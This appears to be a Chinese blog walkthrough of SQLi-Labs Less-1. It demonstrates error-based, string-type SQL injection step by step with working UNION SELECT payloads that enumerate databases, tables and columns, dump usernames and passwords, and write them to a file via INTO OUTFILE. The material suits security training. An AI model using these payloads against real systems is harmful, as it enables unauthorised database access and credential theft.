您的位置:首页 > 数据库

SQLi-Labs 练习总结 Page-1 Less-1

2017-08-28 22:06 651 查看

SQLi-LABS 练习总结

Page-1 基础练习

写在前面:SQL注入是一个需要不断尝试的过程,其中可能出现很多问题才能有一次成功,不要心急,多尝试,多学习,多总结。

Less-1 GET-Error based-single quotes-String

分析所给提示:

根据报错信息;

单引号;

字符型。

为了学习的目的,尽可能的多做一些尝试:

(1)确定问题参数和漏洞类型



在URL中输入id参数
?id=1'
,返回报错信息:
Erreur de syntaxe pr�s de '''' LIMIT 0,1' � la ligne 1


关于回显问题,可用设置语言包将其调成英文模式,具体操作: 直通车



从错误信息中可以看出,这是一个字符型(”1”),且限定只输出1行(LIMT 0,1)。

可用的注入方式:

?id=1 这是一个正常的查询过程。为了学习SQL注入,并不使用它来查询。

?id= ' or '1'='1


?id= ' or 1=1 %23


%23是 # 的URL编码,#是MySQL的注释符。在我尝试过程中,直接输入#依旧会报错,%23则能正确输出。还有一种注释方法:

?id=' or 1=1 --+


确定问题参数和漏洞类型:id参数,字符型漏洞

(2)确定字段数

只有确定了字段数,才可以使用union这个关键词连接我们的查询语句。可以采用order by 来确定字段数。

如:
?id=1’ order by 1 %23


表示通过第一字段的顺序进行排序,当输入order by x报错时,就说明没有这个字段,就可以得到输出的字段数了。在这个系统中,经过测试,输出字段数为3.





查看一下本地的数据库:



确实只有三个字段,分别为id、username、password。

(3)判断能在页面显示的字段。

接下来,使用union语句来判断各字段的类型以及判断能够在页面显示的字段。

?id=-1' union select 1,2,3 %23


注意:这里的id= -1,使它不返回其他信息,执行后面的语句。



从中看出能在页面上显示的是第2,3字段。

(4)确定数据库

确定当前使用的数据库

现在我们已经知道了输出的字段数了,可以使用union这个关键词了。首先试试确定数据库的名字,设计如下payload:

?id=-1’ union select 1,database(),3 %23


回显如图:



从而知道了当前使用的数据库的名字是 security。

爆出所有数据库

还有一种方法,可以爆出所有的数据库名,payload:

?id=-1' union select 1,group_concat(SCHEMA_NAME),3
from information_schema.SCHEMATA%23




红线部分即为MySQL中的所有数据库。

说明:

?id=-1' union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA%23
在实际中有时候也可以,表示选择information_schema数据库中,SCHEMATA这个表的SCHEMA_NAME字段的值。关于information_schema这个数据库,有兴趣可以再查资料。

在这里不行的原因是它返回的是一个数组,分为一个一个的字符串,在这里只能显示第一个字符串,即information_schema。



GROUP_CONCAT(expr) 该函数返回带有来自一个组的连接的非NULL值的字符串结果。在这里,这个函数将原先返回的字符串数组拼接成一个完整的字符串输出。

(5)数据表

Payload:

?id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security'%23




这个就不分析了,就是从TABLES表中将TABLE_SCHEMA字段中名为security的数据全部返回。 可以通过phpmyadmin等工具查看本地数据库中内容。

(6)字段名

Payload:

?id=-1' union select 1,group_concat(COLUMN_NAME),3
from information_schema.COLUMNS
where TABLE_NAME = 'users' and TABLE_SCHEMA = 'Security'%23


注意:如果你要精确的查出某表的字段名,你就需要加两个限定条件,TABLE_NAME = ‘users’指定查找名为users表中的字段,由于可能存在多个数据库,查出来的数据可能比该表的真实字段多;所以再加上一个限定条件,TABLE_SCHEMA = ‘Security’ 指定数据库为Security。

字段名为:id,username,password。



(7)确定字段类型

?id=-1' union select 1,group_concat(DATA_TYPE),3
from information_schema.COLUMNS where TABLE_NAME = 'users'
and TABLE_SCHEMA = 'security'%23


从中看出对应的字段类型:id为int型,username为varchar型,password为varchar型。



(8)查询字段内容

?id=-1' union select 1,username,password from users where id=3%23


这里限制了输出,可以通过指定id的方式逐条查询。



通过指定id查询记录数,得知id最大到14,其中id=13项缺失,所以也可以仿造前面的方法,直接查看全部数据。注意这只能用在小数据量的表中。

?id=-1' union select 1,group_concat(username),group_concat(password) from users %23




(9)拖库

?id=-1' union select 1,username,password from users
into outfile 'e:/user.txt'%23


将查询记录输出到e:/user.txt文件中。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  sql注入